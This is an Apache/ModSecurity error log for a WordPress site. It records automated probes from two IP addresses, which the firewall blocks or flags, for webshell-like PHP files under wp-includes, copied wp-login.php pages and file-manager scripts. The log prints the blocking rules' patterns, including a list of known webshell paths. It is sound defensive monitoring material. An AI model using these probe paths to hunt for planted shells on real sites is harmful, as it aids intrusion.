[Wed Apr 08 13:52:10.779964 2026] [:error] [pid 12386:tid 12421] [client 145.223.8.16:47074] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "adXtChLhhLtqHi2gK7VazwAAAQU"]
[Wed Apr 08 13:52:13.124995 2026] [:error] [pid 12453:tid 12474] [client 145.223.8.16:47088] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "adXtDRjtW7S6XsLPvrQnygAAAJM"]
[Wed Apr 08 13:52:15.637110 2026] [:error] [pid 12490:tid 12515] [client 145.223.8.16:47100] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "adXtD21Fea4F4fbumr1_TgAAANc"]
[Wed Apr 08 13:52:16.756085 2026] [:error] [pid 12386:tid 12424] [client 145.223.8.16:47112] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "adXtEBLhhLtqHi2gK7Va4gAAAQg"]
[Wed Apr 08 13:52:20.146986 2026] [:error] [pid 12386:tid 12431] [client 145.223.8.16:47128] [client 145.223.8.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 145.223.8.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "adXtFBLhhLtqHi2gK7Va7wAAAQ8"]
[Wed Apr 08 13:52:22.417804 2026] [:error] [pid 12386:tid 12419] [client 145.223.8.16:47128] [client 145.223.8.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 145.223.8.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "adXtFhLhhLtqHi2gK7VbAAAAAQM"]
[Wed Apr 08 13:52:26.805408 2026] [proxy_fcgi:error] [pid 12386:tid 12427] [client 145.223.8.16:47128] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:52:33.242609 2026] [:error] [pid 12386:tid 12434] [client 145.223.8.16:47128] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "adXtIRLhhLtqHi2gK7VbMQAAARI"]
[Wed Apr 08 13:52:35.686662 2026] [:error] [pid 12490:tid 12509] [client 145.223.8.16:37382] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "adXtI21Fea4F4fbumr2AAwAAANE"]
[Wed Apr 08 13:52:37.718532 2026] [:error] [pid 35642:tid 35644] [client 145.223.8.16:37384] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "adXtJQ-CqryxdEs5DN9CEQAAAEA"]
[Wed Apr 08 13:52:42.182915 2026] [:error] [pid 12453:tid 12465] [client 145.223.8.16:39574] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "adXtKhjtW7S6XsLPvrQoYAAAAIo"]
[Wed Apr 08 13:52:43.618425 2026] [:error] [pid 12490:tid 12505] [client 145.223.8.16:39588] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "adXtK21Fea4F4fbumr2AVgAAAM0"]
[Wed Apr 08 13:52:44.700262 2026] [:error] [pid 12385:tid 12389] [client 145.223.8.16:39592] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adXtLCAjtvRQEkLosq0FxAAAAAA"]
[Wed Apr 08 13:52:46.879456 2026] [proxy_fcgi:error] [pid 12490:tid 12501] [client 145.223.8.16:39604] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:52:47.247307 2026] [proxy_fcgi:error] [pid 12490:tid 12498] [client 145.223.8.16:39604] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:52:47.609632 2026] [:error] [pid 12490:tid 12506] [client 145.223.8.16:39604] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "adXtL21Fea4F4fbumr2AewAAAM4"]
[Wed Apr 08 13:52:48.366139 2026] [:error] [pid 12490:tid 12512] [client 145.223.8.16:39610] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "adXtMG1Fea4F4fbumr2AfQAAANQ"]
[Wed Apr 08 13:52:51.573051 2026] [:error] [pid 12490:tid 12497] [client 145.223.8.16:41540] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "adXtM21Fea4F4fbumr2AuQAAAMU"]
[Wed Apr 08 13:52:52.693183 2026] [:error] [pid 12386:tid 12437] [client 145.223.8.16:41542] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "adXtNBLhhLtqHi2gK7VbYwAAARU"]
[Wed Apr 08 13:52:54.576031 2026] [:error] [pid 12490:tid 12503] [client 145.223.8.16:34435] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "adXtNm1Fea4F4fbumr2A3gAAAMs"]
[Wed Apr 08 13:52:57.871300 2026] [:error] [pid 12490:tid 12505] [client 145.223.8.16:41560] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "adXtOW1Fea4F4fbumr2BEgAAAM0"]
[Wed Apr 08 13:52:58.598065 2026] [proxy_fcgi:error] [pid 12490:tid 12509] [client 145.223.8.16:41564] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:52:59.696087 2026] [:error] [pid 12490:tid 12509] [client 145.223.8.16:41564] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "adXtO21Fea4F4fbumr2BKgAAANE"]
[Wed Apr 08 13:53:02.327049 2026] [proxy_fcgi:error] [pid 12386:tid 12435] [client 145.223.8.16:53950] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:53:08.374156 2026] [:error] [pid 35642:tid 35645] [client 185.153.151.165:53952] [client 185.153.151.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.153.151.165, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "adXtRA-CqryxdEs5DN9CywAAAEE"]
[Wed Apr 08 13:53:10.073718 2026] [:error] [pid 35642:tid 35665] [client 185.153.151.165:53952] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "adXtRg-CqryxdEs5DN9C0gAAAFU"]
[Wed Apr 08 13:53:11.097666 2026] [:error] [pid 35642:tid 35651] [client 185.153.151.165:57482] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "adXtRw-CqryxdEs5DN9C2gAAAEc"]
[Wed Apr 08 13:53:13.123677 2026] [:error] [pid 12386:tid 12419] [client 185.153.151.165:57494] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "adXtSRLhhLtqHi2gK7VbqQAAAQM"]
[Wed Apr 08 13:53:14.838516 2026] [:error] [pid 12490:tid 12507] [client 185.153.151.165:57502] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "adXtSm1Fea4F4fbumr2BrwAAAM8"]
[Wed Apr 08 13:53:15.528251 2026] [:error] [pid 35642:tid 35658] [client 185.153.151.165:57508] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "adXtSw-CqryxdEs5DN9C-wAAAE4"]
[Wed Apr 08 13:53:17.271748 2026] [:error] [pid 12490:tid 12513] [client 185.153.151.165:57512] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "adXtTW1Fea4F4fbumr2BtwAAANU"]
[Wed Apr 08 13:53:19.998074 2026] [proxy_fcgi:error] [pid 35642:tid 35653] [client 185.153.151.165:57524] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:53:20.339881 2026] [:error] [pid 35642:tid 35666] [client 185.153.151.165:57524] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "adXtUA-CqryxdEs5DN9DIgAAAFY"]
[Wed Apr 08 13:53:21.408359 2026] [:error] [pid 12490:tid 12501] [client 185.153.151.165:40040] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "adXtUW1Fea4F4fbumr2BzAAAAMk"]
[Wed Apr 08 13:53:22.134123 2026] [:error] [pid 12490:tid 12492] [client 185.153.151.165:40052] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "adXtUm1Fea4F4fbumr2B1AAAAMA"]
[Wed Apr 08 13:53:22.826142 2026] [:error] [pid 35642:tid 35664] [client 185.153.151.165:40058] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "adXtUg-CqryxdEs5DN9DPwAAAFQ"]
[Wed Apr 08 13:53:23.508938 2026] [:error] [pid 35642:tid 35648] [client 185.153.151.165:40070] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "adXtUw-CqryxdEs5DN9DSAAAAEQ"]
[Wed Apr 08 13:53:24.187680 2026] [:error] [pid 12490:tid 12508] [client 185.153.151.165:40074] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "adXtVG1Fea4F4fbumr2B6wAAANA"]
[Wed Apr 08 13:53:24.873635 2026] [:error] [pid 12490:tid 12506] [client 185.153.151.165:40080] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "adXtVG1Fea4F4fbumr2B9QAAAM4"]
[Wed Apr 08 13:53:27.596675 2026] [:error] [pid 12490:tid 12496] [client 185.153.151.165:40092] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "adXtV21Fea4F4fbumr2CDgAAAMQ"]
[Wed Apr 08 13:53:28.282334 2026] [:error] [pid 12490:tid 12507] [client 185.153.151.165:40096] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "adXtWG1Fea4F4fbumr2CGgAAAM8"]
[Wed Apr 08 13:53:28.971801 2026] [:error] [pid 12453:tid 12474] [client 185.153.151.165:43854] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "adXtWBjtW7S6XsLPvrQpNQAAAJM"]
[Wed Apr 08 13:53:29.670716 2026] [:error] [pid 12490:tid 12506] [client 185.153.151.165:43856] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "adXtWW1Fea4F4fbumr2CLQAAAM4"]
[Wed Apr 08 13:53:30.362909 2026] [:error] [pid 12490:tid 12516] [client 185.153.151.165:43862] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "adXtWm1Fea4F4fbumr2CMwAAANg"]
[Wed Apr 08 13:53:31.064069 2026] [proxy_fcgi:error] [pid 12490:tid 12516] [client 185.153.151.165:43876] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 13:53:32.122329 2026] [:error] [pid 12490:tid 12494] [client 185.153.151.165:43876] [client 185.153.151.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.153.151.165, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "adXtXG1Fea4F4fbumr2CUAAAAMI"]
[Wed Apr 08 13:53:33.866360 2026] [:error] [pid 12490:tid 12500] [client 185.153.151.165:43876] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "adXtXW1Fea4F4fbumr2CbwAAAMg"]
[Wed Apr 08 13:53:40.091658 2026] [:error] [pid 12385:tid 12406] [client 185.153.151.165:43878] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "adXtZCAjtvRQEkLosq0GjgAAABE"]
[Wed Apr 08 13:53:40.766334 2026] [:error] [pid 12490:tid 12498] [client 185.153.151.165:58052] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "adXtZG1Fea4F4fbumr2CuwAAAMY"]
[Wed Apr 08 13:53:41.452637 2026] [:error] [pid 35642:tid 35654] [client 185.153.151.165:58068] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "adXtZQ-CqryxdEs5DN9DtgAAAEo"]
[Wed Apr 08 13:53:44.228829 2026] [:error] [pid 12385:tid 12410] [client 185.153.151.165:58084] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "adXtaCAjtvRQEkLosq0GnQAAABU"]
[Wed Apr 08 13:53:44.917581 2026] [:error] [pid 12490:tid 12503] [client 185.153.151.165:58092] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "adXtaG1Fea4F4fbumr2DAgAAAMs"]
[Wed Apr 08 13:53:45.584958 2026] [:error] [pid 12386:tid 12434] [client 185.153.151.165:58098] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "adXtaRLhhLtqHi2gK7VcDgAAARI"]
[Wed Apr 08 13:53:47.621179 2026] [:error] [pid 12385:tid 12393] [client 185.153.151.165:58108] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "adXtayAjtvRQEkLosq0GvwAAAAQ"]
[Wed Apr 08 13:53:48.641888 2026] [:error] [pid 12385:tid 12410] [client 185.153.151.165:58118] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "adXtbCAjtvRQEkLosq0GwQAAABU"]
[Wed Apr 08 13:53:50.009372 2026] [:error] [pid 12385:tid 12390] [client 185.153.151.165:58572] [client 185.153.151.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "adXtbiAjtvRQEkLosq0GxwAAAAE"]
